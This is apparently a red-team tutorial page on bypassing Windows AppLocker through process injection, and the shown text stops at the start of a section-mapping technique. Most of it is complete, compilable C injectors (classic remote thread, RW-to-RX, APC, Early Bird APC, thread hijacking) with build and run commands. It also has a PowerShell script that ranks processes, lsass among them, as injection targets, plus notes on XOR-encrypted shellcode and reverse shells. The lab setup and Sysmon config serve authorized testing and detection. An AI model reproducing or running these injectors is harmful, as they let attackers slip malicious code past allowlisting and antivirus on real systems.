Skip to content
AppLocker Bypass — Process Injection

AppLocker Bypass — Process Injection

Scope: Red team / authorized penetration testing. Techniques map to MITRE ATT&CK T1055 (Process Injection), T1055.001 (DLL Injection), T1055.002 (PE Injection), T1055.004 (APC Injection), and T1055.012 (Process Hollowing).


Lab Setup

Recommended VM Stack

Host Machine
└── Hypervisor (VMware Workstation / VirtualBox / Hyper-V)
    ├── Windows 10/11 Enterprise x64 (victim VM)
    │   ├── Windows Defender enabled + updated
    │   ├── AppLocker default rules active
    │   ├── Sysmon (SwiftOnSecurity config)
    │   ├── x64dbg (dynamic analysis + injection debugging)
    │   ├── Process Hacker 2 (live memory / handle inspection)
    │   ├── API Monitor (track Win32 API calls per-process)
    │   ├── Sysinternals Suite (Process Monitor, VMMap)
    │   └── WinDbg (kernel-level debugging, optional)
    │
    └── Kali Linux (attacker VM)
        ├── mingw-w64 cross-compiler (x64 + x86)
        ├── Python 3.10+ with pefile, keystone-engine
        ├── nasm (shellcode assembly)
        └── netcat / rlwrap

Windows VM Configuration

1. Install and configure debugging tools

 1# x64dbg — process injection debugger
 2# Download from https://x64dbg.com and extract to C:\Tools\x64dbg
 3
 4# Process Hacker 2
 5winget install ProcessHacker.ProcessHacker
 6
 7# Sysinternals
 8winget install Microsoft.Sysinternals
 9
10# Enable kernel debugging symbols
11$env:_NT_SYMBOL_PATH = "srv*C:\Symbols*https://msdl.microsoft.com/download/symbols"

2. Enable verbose Sysmon logging for injection detection

 1# sysmon-inject.xml — targeted config for catching injections
 2@"
 3<Sysmon schemaversion="4.82">
 4  <EventFiltering>
 5    <RuleGroup name="ProcessAccess" groupRelation="or">
 6      <ProcessAccess onmatch="include">
 7        <GrantedAccess condition="contains">0x1F0FFF</GrantedAccess>
 8        <GrantedAccess condition="contains">0x1FFFFF</GrantedAccess>
 9        <GrantedAccess condition="contains">0x40</GrantedAccess>
10      </ProcessAccess>
11    </RuleGroup>
12    <RuleGroup name="CreateRemoteThread" groupRelation="or">
13      <CreateRemoteThread onmatch="include">
14        <SourceImage condition="is not">C:\Windows\System32\csrss.exe</SourceImage>
15      </CreateRemoteThread>
16    </RuleGroup>
17    <RuleGroup name="ImageLoad" groupRelation="or">
18      <ImageLoad onmatch="include">
19        <Signed condition="is">false</Signed>
20      </ImageLoad>
21    </RuleGroup>
22  </EventFiltering>
23</Sysmon>
24"@ | Out-File sysmon-inject.xml -Encoding UTF8
25
26.\Sysmon64.exe -c sysmon-inject.xml

3. Build environment on Kali

# cross-compilers
sudo apt install mingw-w64 nasm -y

# Python tooling
pip install keystone-engine pefile capstone

# verify x64 target compilation
echo 'int main(){return 0;}' > test.c
x86_64-w64-mingw32-gcc -o test.exe test.c && echo "x64 toolchain OK"

4. Set up target processes for injection testing

# launch known-good injectable processes for testing
Start-Process notepad.exe        # simple, always available
Start-Process "C:\Windows\System32\mspaint.exe"
Start-Process explorer.exe       # rich target — many threads, alertable waits

# get their PIDs
Get-Process notepad, mspaint, explorer | Select Name, Id, SessionId

5. Process Hacker — configure for injection monitoring

Process Hacker → Hacker → Options → Advanced
    ☑ Enable kernel-mode driver (better visibility)
    ☑ Highlight: Processes with injected DLLs

Right-click any process → Properties → Memory
    → Watch for non-image RWX regions — sign of shellcode injection

6. API Monitor — capture injection calls

API Monitor → File → Monitor New Process → notepad.exe
Filter: VirtualAllocEx, WriteProcessMemory, CreateRemoteThread,
        NtMapViewOfSection, QueueUserAPC, SetThreadContext

7. Snapshot baseline

Snapshot → "INJECTION_BASELINE"

Revert between techniques: injected shellcode lingering in target processes will skew subsequent tests.


Why Process Injection Bypasses AppLocker

AppLocker evaluates processes at creation time. It checks the binary on disk, validates it against publisher/path/hash rules, and makes an allow/deny decision. That’s the entire window it has.

Process injection sidesteps that window entirely:

AppLocker evaluates:    notepad.exe   ← trusted, signed, allowed
                              │
AppLocker stops here          │
                              │   VirtualAllocEx()
                              │   WriteProcessMemory()  ← your shellcode
                              │   CreateRemoteThread()
                              ▼
                    shellcode executes inside notepad.exe
                    notepad.exe is the process — AppLocker already approved it
                    no new process = no new AppLocker evaluation

Your payload inherits the host process’s:

  • AppLocker trust level
  • Process token and privileges
  • Network identity
  • Parent process ancestry

The target process is the disguise. AppLocker never sees what runs inside it.


Tool 0 — Find Injectable Processes

Before injecting anything, find the best targets: processes that are trusted, stable, and have the right architecture.

  1# Find-InjectableProcesses.ps1
  2# Scores running processes by injection suitability:
  3#   - is it signed / trusted?
  4#   - does it match our bitness?
  5#   - is it stable enough to survive injection?
  6#   - do we have PROCESS_ALL_ACCESS?
  7
  8param(
  9    [switch]$x86Only,
 10    [switch]$x64Only,
 11    [switch]$Verbose
 12)
 13
 14Add-Type @"
 15using System;
 16using System.Runtime.InteropServices;
 17public class ProcHelper {
 18    [DllImport("kernel32.dll")] public static extern IntPtr OpenProcess(
 19        uint access, bool inherit, int pid);
 20    [DllImport("kernel32.dll")] public static extern bool CloseHandle(IntPtr h);
 21    [DllImport("kernel32.dll")] public static extern bool IsWow64Process(
 22        IntPtr h, out bool wow64);
 23
 24    public const uint PROCESS_ALL_ACCESS       = 0x1F0FFF;
 25    public const uint PROCESS_QUERY_INFO       = 0x0400;
 26    public const uint PROCESS_VM_READ          = 0x0010;
 27}
 28"@
 29
 30# stable, high-value injection targets
 31$preferred = @(
 32    'explorer','notepad','mspaint','calc','svchost',
 33    'RuntimeBroker','SearchHost','sihost','ctfmon',
 34    'taskhostw','dwm','spoolsv','lsass'
 35)
 36
 37$results = [Collections.Generic.List[PSCustomObject]]::new()
 38
 39Get-Process -ErrorAction SilentlyContinue |
 40Where-Object { $_.Id -ne $PID -and $_.Id -ne 0 -and $_.Id -ne 4 } |
 41ForEach-Object {
 42    $proc = $_
 43    $score = 0
 44
 45    # can we open with full access?
 46    $hProc = [ProcHelper]::OpenProcess(
 47        [ProcHelper]::PROCESS_ALL_ACCESS, $false, $proc.Id)
 48    $canOpen = $hProc -ne [IntPtr]::Zero
 49
 50    if ($canOpen) {
 51        $score += 3
 52        # check bitness
 53        $isWow64 = $false
 54        [ProcHelper]::IsWow64Process($hProc, [ref]$isWow64) | Out-Null
 55        $is32bit = $isWow64
 56        [ProcHelper]::CloseHandle($hProc) | Out-Null
 57    } else {
 58        $is32bit = $false
 59    }
 60
 61    # filter by arch
 62    if ($x86Only -and -not $is32bit) { return }
 63    if ($x64Only -and $is32bit)      { return }
 64
 65    # is it signed?
 66    $signed = $false
 67    try {
 68        $path   = $proc.MainModule.FileName
 69        $sig    = Get-AuthenticodeSignature $path -ErrorAction SilentlyContinue
 70        $signed = $sig.Status -eq 'Valid'
 71        if ($signed) { $score += 2 }
 72    } catch {}
 73
 74    # preferred process name bonus
 75    if ($preferred -contains $proc.Name.ToLower()) { $score += 2 }
 76
 77    # session 0 = system processes, noisier to inject
 78    if ($proc.SessionId -gt 0) { $score += 1 }
 79
 80    $results.Add([PSCustomObject]@{
 81        PID      = $proc.Id
 82        Name     = $proc.Name
 83        Arch     = if ($is32bit) { 'x86' } else { 'x64' }
 84        Signed   = $signed
 85        CanOpen  = $canOpen
 86        Score    = $score
 87        Session  = $proc.SessionId
 88    })
 89}
 90
 91$ranked = $results | Where-Object { $_.CanOpen } |
 92          Sort-Object Score -Descending
 93
 94Write-Host "`n[+] Injectable processes (ranked by suitability):`n" -ForegroundColor Green
 95$ranked | Format-Table -AutoSize
 96
 97$ranked | Export-Csv ".\injectable_procs.csv" -NoTypeInformation
 98Write-Host "[*] saved → injectable_procs.csv"
 99
100# top pick
101$top = $ranked | Select-Object -First 1
102if ($top) {
103    Write-Host "`n[*] recommended target: $($top.Name) (PID $($top.PID)) — score $($top.Score)" `
104        -ForegroundColor Cyan
105}

Technique 1 — Classic Shellcode Injection

The foundational technique. Allocate memory in a remote process, write shellcode, create a thread to execute it. Loud but reliable, good for validating your shellcode before moving to stealthier methods.

  1/* classic_inject.c
  2 * Classic VirtualAllocEx + WriteProcessMemory + CreateRemoteThread injection.
  3 * Usage: classic_inject.exe <PID> <shellcode.bin>
  4 *        cat shellcode.bin | classic_inject.exe <PID>
  5 *
  6 * Compile (x64):
  7 *   x86_64-w64-mingw32-gcc -o classic_inject.exe classic_inject.c \
  8 *       -s -mwindows -Wl,--build-id=none
  9 */
 10
 11#define WIN32_LEAN_AND_MEAN
 12#include <windows.h>
 13#include <stdio.h>
 14#include <stdlib.h>
 15
 16static uint8_t *load_shellcode(const char *path, size_t *out_len) {
 17    FILE *f = fopen(path, "rb");
 18    if (!f) return NULL;
 19    fseek(f, 0, SEEK_END);
 20    *out_len = (size_t)ftell(f);
 21    rewind(f);
 22    uint8_t *buf = (uint8_t*)malloc(*out_len);
 23    fread(buf, 1, *out_len, f);
 24    fclose(f);
 25    return buf;
 26}
 27
 28static uint8_t *load_stdin(size_t *out_len) {
 29    uint8_t  tmp[65536];
 30    *out_len = fread(tmp, 1, sizeof(tmp), stdin);
 31    if (*out_len == 0) return NULL;
 32    uint8_t *buf = (uint8_t*)malloc(*out_len);
 33    memcpy(buf, tmp, *out_len);
 34    return buf;
 35}
 36
 37int main(int argc, char *argv[]) {
 38    if (argc < 2) {
 39        fprintf(stderr, "usage: %s <pid> [shellcode.bin]\n"
 40                        "       cat sc.bin | %s <pid>\n", argv[0], argv[0]);
 41        return 1;
 42    }
 43
 44    DWORD    pid = (DWORD)atoi(argv[1]);
 45    size_t   sc_len = 0;
 46    uint8_t *sc     = (argc >= 3)
 47        ? load_shellcode(argv[2], &sc_len)
 48        : load_stdin(&sc_len);
 49
 50    if (!sc || sc_len == 0) {
 51        fprintf(stderr, "[-] no shellcode loaded\n");
 52        return 1;
 53    }
 54
 55    printf("[*] target PID   : %lu\n", pid);
 56    printf("[*] shellcode len: %zu bytes\n", sc_len);
 57
 58    /* open target process */
 59    HANDLE hProc = OpenProcess(
 60        PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD,
 61        FALSE, pid);
 62    if (!hProc) {
 63        fprintf(stderr, "[-] OpenProcess failed: %lu\n", GetLastError());
 64        free(sc);
 65        return 1;
 66    }
 67
 68    /* allocate RWX in remote process */
 69    LPVOID pRemote = VirtualAllocEx(hProc, NULL, sc_len,
 70                                    MEM_COMMIT | MEM_RESERVE,
 71                                    PAGE_EXECUTE_READWRITE);
 72    if (!pRemote) {
 73        fprintf(stderr, "[-] VirtualAllocEx failed: %lu\n", GetLastError());
 74        CloseHandle(hProc);
 75        free(sc);
 76        return 1;
 77    }
 78    printf("[*] remote alloc : %p\n", pRemote);
 79
 80    /* write shellcode */
 81    SIZE_T written = 0;
 82    if (!WriteProcessMemory(hProc, pRemote, sc, sc_len, &written)
 83        || written != sc_len) {
 84        fprintf(stderr, "[-] WriteProcessMemory failed: %lu\n", GetLastError());
 85        VirtualFreeEx(hProc, pRemote, 0, MEM_RELEASE);
 86        CloseHandle(hProc);
 87        free(sc);
 88        return 1;
 89    }
 90    printf("[*] wrote %zu bytes\n", written);
 91
 92    /* wipe local copy */
 93    SecureZeroMemory(sc, sc_len);
 94    free(sc);
 95
 96    /* spawn remote thread */
 97    HANDLE hThread = CreateRemoteThread(
 98        hProc, NULL, 0,
 99        (LPTHREAD_START_ROUTINE)pRemote,
100        NULL, 0, NULL);
101    if (!hThread) {
102        fprintf(stderr, "[-] CreateRemoteThread failed: %lu\n", GetLastError());
103        VirtualFreeEx(hProc, pRemote, 0, MEM_RELEASE);
104        CloseHandle(hProc);
105        return 1;
106    }
107
108    printf("[+] remote thread: %p — shellcode executing\n", hThread);
109    WaitForSingleObject(hThread, 5000);
110
111    CloseHandle(hThread);
112    CloseHandle(hProc);
113    return 0;
114}
# compile
x86_64-w64-mingw32-gcc -o classic_inject.exe classic_inject.c \
    -s -mwindows -Wl,--build-id=none

# inject into notepad (PID from Find-InjectableProcesses.ps1)
./classic_inject.exe 1234 shellcode.bin

# pipe encrypted shellcode — decrypt externally first
python3 encrypt_sc.py -i raw.bin -k 0x42 | ./classic_inject.exe 1234

Technique 2 — RW→RX Two-Stage Injection (No RWX)

The classic technique allocates PAGE_EXECUTE_READWRITE, an instant EDR flag. This variant allocates PAGE_READWRITE first, writes the shellcode, then flips to PAGE_EXECUTE_READ before threading. The memory is never simultaneously writable and executable.

  1/* rwrx_inject.c
  2 * Two-stage injection: RW alloc → write → mprotect to RX → thread.
  3 * Avoids the RWX signature without using direct syscalls.
  4 *
  5 * Compile:
  6 *   x86_64-w64-mingw32-gcc -o rwrx_inject.exe rwrx_inject.c \
  7 *       -s -mwindows -Wl,--build-id=none
  8 */
  9
 10#define WIN32_LEAN_AND_MEAN
 11#include <windows.h>
 12#include <stdio.h>
 13#include <stdlib.h>
 14#include <stdint.h>
 15
 16/* rolling XOR decrypt matching encrypt_sc.py scheme */
 17static void xor_decrypt(uint8_t *buf, size_t len, uint8_t key) {
 18    for (size_t i = 0; i < len; i++)
 19        buf[i] ^= (uint8_t)((key + i) & 0xff);
 20}
 21
 22int main(int argc, char *argv[]) {
 23    if (argc < 3) {
 24        fprintf(stderr,
 25            "usage: %s <pid> <shellcode.bin> [xor_key_hex]\n", argv[0]);
 26        return 1;
 27    }
 28
 29    DWORD  pid = (DWORD)atoi(argv[1]);
 30    uint8_t key = (argc >= 4) ? (uint8_t)strtol(argv[3], NULL, 16) : 0;
 31
 32    /* load shellcode */
 33    FILE  *f = fopen(argv[2], "rb");
 34    if (!f) { perror("[-] fopen"); return 1; }
 35    fseek(f, 0, SEEK_END);
 36    size_t sc_len = (size_t)ftell(f);
 37    rewind(f);
 38    uint8_t *sc = (uint8_t*)malloc(sc_len);
 39    fread(sc, 1, sc_len, f);
 40    fclose(f);
 41
 42    if (key) {
 43        xor_decrypt(sc, sc_len, key);
 44        printf("[*] decrypted with key 0x%02x\n", key);
 45    }
 46
 47    /* open with minimal required access */
 48    HANDLE hProc = OpenProcess(
 49        PROCESS_VM_OPERATION | PROCESS_VM_WRITE |
 50        PROCESS_VM_READ      | PROCESS_CREATE_THREAD,
 51        FALSE, pid);
 52    if (!hProc) {
 53        fprintf(stderr, "[-] OpenProcess(%lu): %lu\n", pid, GetLastError());
 54        free(sc);
 55        return 1;
 56    }
 57
 58    /* stage 1: alloc RW */
 59    LPVOID pRemote = VirtualAllocEx(hProc, NULL, sc_len,
 60                                    MEM_COMMIT | MEM_RESERVE,
 61                                    PAGE_READWRITE);          /* NOT RWX */
 62    if (!pRemote) {
 63        fprintf(stderr, "[-] VirtualAllocEx: %lu\n", GetLastError());
 64        CloseHandle(hProc);
 65        free(sc);
 66        return 1;
 67    }
 68    printf("[*] stage1 RW alloc : %p (%zu bytes)\n", pRemote, sc_len);
 69
 70    /* stage 2: write shellcode */
 71    SIZE_T written = 0;
 72    WriteProcessMemory(hProc, pRemote, sc, sc_len, &written);
 73    SecureZeroMemory(sc, sc_len);
 74    free(sc);
 75    printf("[*] stage2 written  : %zu bytes\n", written);
 76
 77    /* stage 3: flip RW → RX (no write permission at execution time) */
 78    DWORD oldProt = 0;
 79    if (!VirtualProtectEx(hProc, pRemote, sc_len,
 80                          PAGE_EXECUTE_READ, &oldProt)) {
 81        fprintf(stderr, "[-] VirtualProtectEx: %lu\n", GetLastError());
 82        VirtualFreeEx(hProc, pRemote, 0, MEM_RELEASE);
 83        CloseHandle(hProc);
 84        return 1;
 85    }
 86    printf("[*] stage3 RW → RX  : done\n");
 87
 88    /* stage 4: execute */
 89    HANDLE hThread = CreateRemoteThread(
 90        hProc, NULL, 0,
 91        (LPTHREAD_START_ROUTINE)pRemote,
 92        NULL, 0, NULL);
 93
 94    if (!hThread) {
 95        fprintf(stderr, "[-] CreateRemoteThread: %lu\n", GetLastError());
 96        VirtualFreeEx(hProc, pRemote, 0, MEM_RELEASE);
 97        CloseHandle(hProc);
 98        return 1;
 99    }
100
101    printf("[+] thread %p executing at %p\n", hThread, pRemote);
102    WaitForSingleObject(hThread, 8000);
103
104    CloseHandle(hThread);
105    CloseHandle(hProc);
106    return 0;
107}

Technique 3 — APC Injection

Asynchronous Procedure Calls (APCs) allow queuing a function to execute in the context of a specific thread. When a thread enters an alertable wait (via SleepEx, WaitForSingleObjectEx, MsgWaitForMultipleObjectsEx), it drains its APC queue. Queue your shellcode as an APC to an alertable thread, and it executes under that thread’s identity.

No CreateRemoteThread. The thread already exists.

  1/* apc_inject.c
  2 * APC injection — queue shellcode as APC to all threads of target process.
  3 * Queuing to all threads maximises the chance one is in an alertable wait.
  4 *
  5 * Compile:
  6 *   x86_64-w64-mingw32-gcc -o apc_inject.exe apc_inject.c \
  7 *       -s -mwindows -Wl,--build-id=none
  8 */
  9
 10#define WIN32_LEAN_AND_MEAN
 11#include <windows.h>
 12#include <tlhelp32.h>
 13#include <stdio.h>
 14#include <stdlib.h>
 15#include <stdint.h>
 16
 17/* enumerate all thread IDs for a given PID */
 18static DWORD *get_thread_ids(DWORD pid, int *count) {
 19    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
 20    if (snap == INVALID_HANDLE_VALUE) return NULL;
 21
 22    THREADENTRY32 te = { .dwSize = sizeof(te) };
 23    DWORD *ids = NULL;
 24    *count = 0;
 25
 26    if (Thread32First(snap, &te)) {
 27        do {
 28            if (te.th32OwnerProcessID == pid) {
 29                ids = (DWORD*)realloc(ids, (*count + 1) * sizeof(DWORD));
 30                ids[(*count)++] = te.th32ThreadID;
 31            }
 32        } while (Thread32Next(snap, &te));
 33    }
 34    CloseHandle(snap);
 35    return ids;
 36}
 37
 38int main(int argc, char *argv[]) {
 39    if (argc < 3) {
 40        fprintf(stderr, "usage: %s <pid> <shellcode.bin>\n", argv[0]);
 41        return 1;
 42    }
 43
 44    DWORD pid = (DWORD)atoi(argv[1]);
 45
 46    /* load shellcode */
 47    FILE *f = fopen(argv[2], "rb");
 48    if (!f) { perror("fopen"); return 1; }
 49    fseek(f, 0, SEEK_END);
 50    size_t sc_len = (size_t)ftell(f);
 51    rewind(f);
 52    uint8_t *sc = (uint8_t*)malloc(sc_len);
 53    fread(sc, 1, sc_len, f);
 54    fclose(f);
 55
 56    /* open process and allocate shellcode */
 57    HANDLE hProc = OpenProcess(
 58        PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
 59        FALSE, pid);
 60    if (!hProc) {
 61        fprintf(stderr, "[-] OpenProcess failed: %lu\n", GetLastError());
 62        free(sc);
 63        return 1;
 64    }
 65
 66    /* RW alloc → write → RX flip */
 67    LPVOID pRemote = VirtualAllocEx(hProc, NULL, sc_len,
 68                                    MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
 69    WriteProcessMemory(hProc, pRemote, sc, sc_len, NULL);
 70    SecureZeroMemory(sc, sc_len);
 71    free(sc);
 72
 73    DWORD old = 0;
 74    VirtualProtectEx(hProc, pRemote, sc_len, PAGE_EXECUTE_READ, &old);
 75
 76    printf("[*] shellcode at %p — queueing APCs\n", pRemote);
 77
 78    /* enumerate threads and queue APC to each */
 79    int    tcount = 0;
 80    DWORD *tids   = get_thread_ids(pid, &tcount);
 81    int    queued = 0;
 82
 83    for (int i = 0; i < tcount; i++) {
 84        HANDLE hThread = OpenThread(
 85            THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME | THREAD_QUERY_INFORMATION,
 86            FALSE, tids[i]);
 87        if (!hThread) continue;
 88
 89        if (QueueUserAPC((PAPCFUNC)pRemote, hThread, 0)) {
 90            printf("[+] APC queued to TID %lu\n", tids[i]);
 91            queued++;
 92        }
 93        CloseHandle(hThread);
 94    }
 95    free(tids);
 96    CloseHandle(hProc);
 97
 98    printf("[*] queued to %d/%d threads — shellcode fires on next alertable wait\n",
 99           queued, tcount);
100    return 0;
101}

Technique 4 — Early Bird APC Injection

Early Bird is the stealth upgrade to plain APC. Instead of targeting an existing process (whose threads may never enter alertable waits), we:

  1. Spawn a trusted process suspended
  2. Inject shellcode before it runs a single line of code
  3. Queue APC to the main thread
  4. Resume — the APC fires before any process initialization, before AV hooks load

No alertable wait required. The APC executes during thread initialization, a window that most AV products don’t monitor.

  1/* earlybird.c
  2 * Early Bird APC injection.
  3 * Spawns a suspended trusted process, injects, queues APC, resumes.
  4 * Shellcode runs before process initialization completes.
  5 *
  6 * Compile:
  7 *   x86_64-w64-mingw32-gcc -o earlybird.exe earlybird.c \
  8 *       -s -mwindows -Wl,--build-id=none
  9 */
 10
 11#define WIN32_LEAN_AND_MEAN
 12#include <windows.h>
 13#include <stdio.h>
 14#include <stdlib.h>
 15#include <stdint.h>
 16
 17/* rolling XOR decrypt */
 18static void xor_decrypt(uint8_t *buf, size_t len, uint8_t key) {
 19    for (size_t i = 0; i < len; i++)
 20        buf[i] ^= (uint8_t)((key + i) & 0xff);
 21}
 22
 23int main(int argc, char *argv[]) {
 24    if (argc < 2) {
 25        fprintf(stderr,
 26            "usage: %s <shellcode.bin> [xor_key] [host_exe]\n"
 27            "  host_exe default: C:\\Windows\\System32\\notepad.exe\n",
 28            argv[0]);
 29        return 1;
 30    }
 31
 32    uint8_t  key      = (argc >= 3) ? (uint8_t)strtol(argv[2], NULL, 16) : 0;
 33    char    *host_exe = (argc >= 4) ? argv[3]
 34                                    : "C:\\Windows\\System32\\notepad.exe";
 35
 36    /* load and decrypt shellcode */
 37    FILE *f = fopen(argv[1], "rb");
 38    if (!f) { perror("fopen"); return 1; }
 39    fseek(f, 0, SEEK_END);
 40    size_t sc_len = (size_t)ftell(f);
 41    rewind(f);
 42    uint8_t *sc = (uint8_t*)malloc(sc_len);
 43    fread(sc, 1, sc_len, f);
 44    fclose(f);
 45
 46    if (key) xor_decrypt(sc, sc_len, key);
 47
 48    printf("[*] host  : %s\n", host_exe);
 49    printf("[*] sc len: %zu bytes\n", sc_len);
 50    printf("[*] key   : 0x%02x\n", key);
 51
 52    /* spawn host process suspended */
 53    STARTUPINFOA        si = { .cb = sizeof(si) };
 54    PROCESS_INFORMATION pi = {0};
 55
 56    if (!CreateProcessA(NULL, host_exe, NULL, NULL, FALSE,
 57                        CREATE_SUSPENDED | CREATE_NO_WINDOW,
 58                        NULL, NULL, &si, &pi)) {
 59        fprintf(stderr, "[-] CreateProcess failed: %lu\n", GetLastError());
 60        free(sc);
 61        return 1;
 62    }
 63    printf("[+] spawned suspended PID %lu TID %lu\n", pi.dwProcessId, pi.dwThreadId);
 64
 65    /* alloc RW in suspended process */
 66    LPVOID pRemote = VirtualAllocEx(pi.hProcess, NULL, sc_len,
 67                                    MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
 68    if (!pRemote) {
 69        fprintf(stderr, "[-] VirtualAllocEx: %lu\n", GetLastError());
 70        TerminateProcess(pi.hProcess, 1);
 71        free(sc);
 72        return 1;
 73    }
 74
 75    /* write shellcode */
 76    SIZE_T written = 0;
 77    WriteProcessMemory(pi.hProcess, pRemote, sc, sc_len, &written);
 78    SecureZeroMemory(sc, sc_len);
 79    free(sc);
 80    printf("[*] wrote %zu bytes at %p\n", written, pRemote);
 81
 82    /* flip RW → RX */
 83    DWORD old = 0;
 84    VirtualProtectEx(pi.hProcess, pRemote, sc_len, PAGE_EXECUTE_READ, &old);
 85    printf("[*] memory: RW → RX\n");
 86
 87    /* queue APC to main thread (thread is still suspended — fires on resume) */
 88    if (!QueueUserAPC((PAPCFUNC)pRemote, pi.hThread, 0)) {
 89        fprintf(stderr, "[-] QueueUserAPC failed: %lu\n", GetLastError());
 90        TerminateProcess(pi.hProcess, 1);
 91        return 1;
 92    }
 93    printf("[+] APC queued to main thread\n");
 94
 95    /* resume — APC fires before ntdll.dll finishes initializing */
 96    ResumeThread(pi.hThread);
 97    printf("[+] thread resumed — shellcode executing\n");
 98
 99    CloseHandle(pi.hThread);
100    CloseHandle(pi.hProcess);
101    return 0;
102}
# compile
x86_64-w64-mingw32-gcc -o earlybird.exe earlybird.c -s -mwindows -Wl,--build-id=none

# inject into fresh notepad
./earlybird.exe shellcode.bin

# with XOR key, custom host
./earlybird.exe enc_shellcode.bin 42 "C:\Windows\System32\mspaint.exe"

Technique 5 — Thread Hijacking

No new threads at all. Find a running thread in the target, suspend it, redirect its instruction pointer to your shellcode, resume. The shellcode executes on a thread that was already there: no CreateRemoteThread, no APC.

  1/* thread_hijack.c
  2 * Thread context hijacking — redirect existing thread RIP to shellcode.
  3 * Quietest single-thread technique: no new threads, no APC queue.
  4 *
  5 * Compile:
  6 *   x86_64-w64-mingw32-gcc -o thread_hijack.exe thread_hijack.c \
  7 *       -s -mwindows -Wl,--build-id=none
  8 */
  9
 10#define WIN32_LEAN_AND_MEAN
 11#include <windows.h>
 12#include <tlhelp32.h>
 13#include <stdio.h>
 14#include <stdlib.h>
 15#include <stdint.h>
 16
 17/* find first accessible thread of target PID */
 18static DWORD find_thread(DWORD pid) {
 19    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
 20    THREADENTRY32 te = { .dwSize = sizeof(te) };
 21    DWORD tid = 0;
 22
 23    if (Thread32First(snap, &te)) {
 24        do {
 25            if (te.th32OwnerProcessID == pid) {
 26                /* try to open it */
 27                HANDLE h = OpenThread(
 28                    THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT |
 29                    THREAD_SET_CONTEXT,
 30                    FALSE, te.th32ThreadID);
 31                if (h) {
 32                    tid = te.th32ThreadID;
 33                    CloseHandle(h);
 34                    break;
 35                }
 36            }
 37        } while (Thread32Next(snap, &te));
 38    }
 39    CloseHandle(snap);
 40    return tid;
 41}
 42
 43int main(int argc, char *argv[]) {
 44    if (argc < 3) {
 45        fprintf(stderr, "usage: %s <pid> <shellcode.bin>\n", argv[0]);
 46        return 1;
 47    }
 48
 49    DWORD pid = (DWORD)atoi(argv[1]);
 50
 51    FILE *f = fopen(argv[2], "rb");
 52    if (!f) { perror("fopen"); return 1; }
 53    fseek(f, 0, SEEK_END);
 54    size_t sc_len = (size_t)ftell(f);
 55    rewind(f);
 56    uint8_t *sc = (uint8_t*)malloc(sc_len);
 57    fread(sc, 1, sc_len, f);
 58    fclose(f);
 59
 60    /* open process */
 61    HANDLE hProc = OpenProcess(
 62        PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
 63        FALSE, pid);
 64    if (!hProc) {
 65        fprintf(stderr, "[-] OpenProcess: %lu\n", GetLastError());
 66        free(sc);
 67        return 1;
 68    }
 69
 70    /* alloc + write shellcode */
 71    LPVOID pSC = VirtualAllocEx(hProc, NULL, sc_len,
 72                                MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
 73    WriteProcessMemory(hProc, pSC, sc, sc_len, NULL);
 74    SecureZeroMemory(sc, sc_len);
 75    free(sc);
 76
 77    DWORD old = 0;
 78    VirtualProtectEx(hProc, pSC, sc_len, PAGE_EXECUTE_READ, &old);
 79    printf("[*] shellcode at %p\n", pSC);
 80
 81    /* find and open a thread */
 82    DWORD tid = find_thread(pid);
 83    if (!tid) {
 84        fprintf(stderr, "[-] no accessible thread found\n");
 85        CloseHandle(hProc);
 86        return 1;
 87    }
 88    printf("[*] target thread: TID %lu\n", tid);
 89
 90    HANDLE hThread = OpenThread(
 91        THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT | THREAD_SET_CONTEXT,
 92        FALSE, tid);
 93    if (!hThread) {
 94        fprintf(stderr, "[-] OpenThread: %lu\n", GetLastError());
 95        CloseHandle(hProc);
 96        return 1;
 97    }
 98
 99    /* suspend thread */
100    SuspendThread(hThread);
101    printf("[*] thread suspended\n");
102
103    /* get current context — we need the full CONTEXT for x64 */
104    CONTEXT ctx;
105    ctx.ContextFlags = CONTEXT_FULL;
106    if (!GetThreadContext(hThread, &ctx)) {
107        fprintf(stderr, "[-] GetThreadContext: %lu\n", GetLastError());
108        ResumeThread(hThread);
109        CloseHandle(hThread);
110        CloseHandle(hProc);
111        return 1;
112    }
113
114    printf("[*] original RIP: 0x%016llx\n", ctx.Rip);
115
116    /*
117     * Build a small trampoline in the remote process that:
118     *   1. saves all registers (preserves thread state)
119     *   2. calls our shellcode
120     *   3. restores registers
121     *   4. jumps back to the original RIP
122     *
123     * This keeps the hijacked thread stable after shellcode returns.
124     */
125    uint64_t orig_rip = ctx.Rip;
126
127    /* minimal trampoline: pushall → call sc → popall → jmp orig_rip
128     * For a reverse shell sc that never returns, we can simplify to jmp sc */
129    uint8_t tramp[14] = {
130        0xFF, 0x25, 0x00, 0x00, 0x00, 0x00,   /* JMP QWORD PTR [RIP+0] */
131        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00  /* address placeholder */
132    };
133    /* patch in the shellcode address */
134    *(uint64_t*)(tramp + 6) = (uint64_t)pSC;
135
136    /* alloc trampoline region */
137    LPVOID pTramp = VirtualAllocEx(hProc, NULL, sizeof(tramp),
138                                   MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
139    WriteProcessMemory(hProc, pTramp, tramp, sizeof(tramp), NULL);
140    VirtualProtectEx(hProc, pTramp, sizeof(tramp), PAGE_EXECUTE_READ, &old);
141
142    /* redirect RIP to trampoline */
143    ctx.Rip = (DWORD64)pTramp;
144    SetThreadContext(hThread, &ctx);
145
146    printf("[*] RIP redirected → trampoline %p → shellcode %p\n", pTramp, pSC);
147
148    /* resume thread */
149    ResumeThread(hThread);
150    printf("[+] thread resumed — executing shellcode\n");
151
152    CloseHandle(hThread);
153    CloseHandle(hProc);
154    return 0;
155}

Technique 6 — NtMapViewOfSection (Shared Memory Injection)

Section-based injection avoids WriteProcessMemory entirely, one of the most-monitored injection APIs. Instead, we create a shared memory section, map it into both our process and the target, write shellcode into our local mapping (which the target sees simultaneously), then thread into it.

  1/* section_inject.c
  2 * NtMapViewOfSection injection — no WriteProcessMemory, no VirtualAllocEx.
